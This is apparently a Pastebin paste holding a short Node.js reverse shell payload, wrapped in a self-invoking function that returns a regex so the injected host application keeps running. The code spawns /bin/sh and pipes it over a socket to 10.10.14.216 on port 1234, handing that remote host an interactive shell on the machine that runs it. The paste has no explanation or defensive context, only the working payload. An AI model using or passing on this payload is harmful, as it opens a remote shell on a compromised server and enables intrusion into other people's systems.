Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function(){
- var net = require("net"),
- cp = require("child_process"),
- sh = cp.spawn("/bin/sh", []);
- var client = new net.Socket();
- client.connect(1234, "10.10.14.216", function(){
- client.pipe(sh.stdin);
- sh.stdout.pipe(client);
- sh.stderr.pipe(client);
- });
- return /a/; // Prevents the Node.js application form crashing
- })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement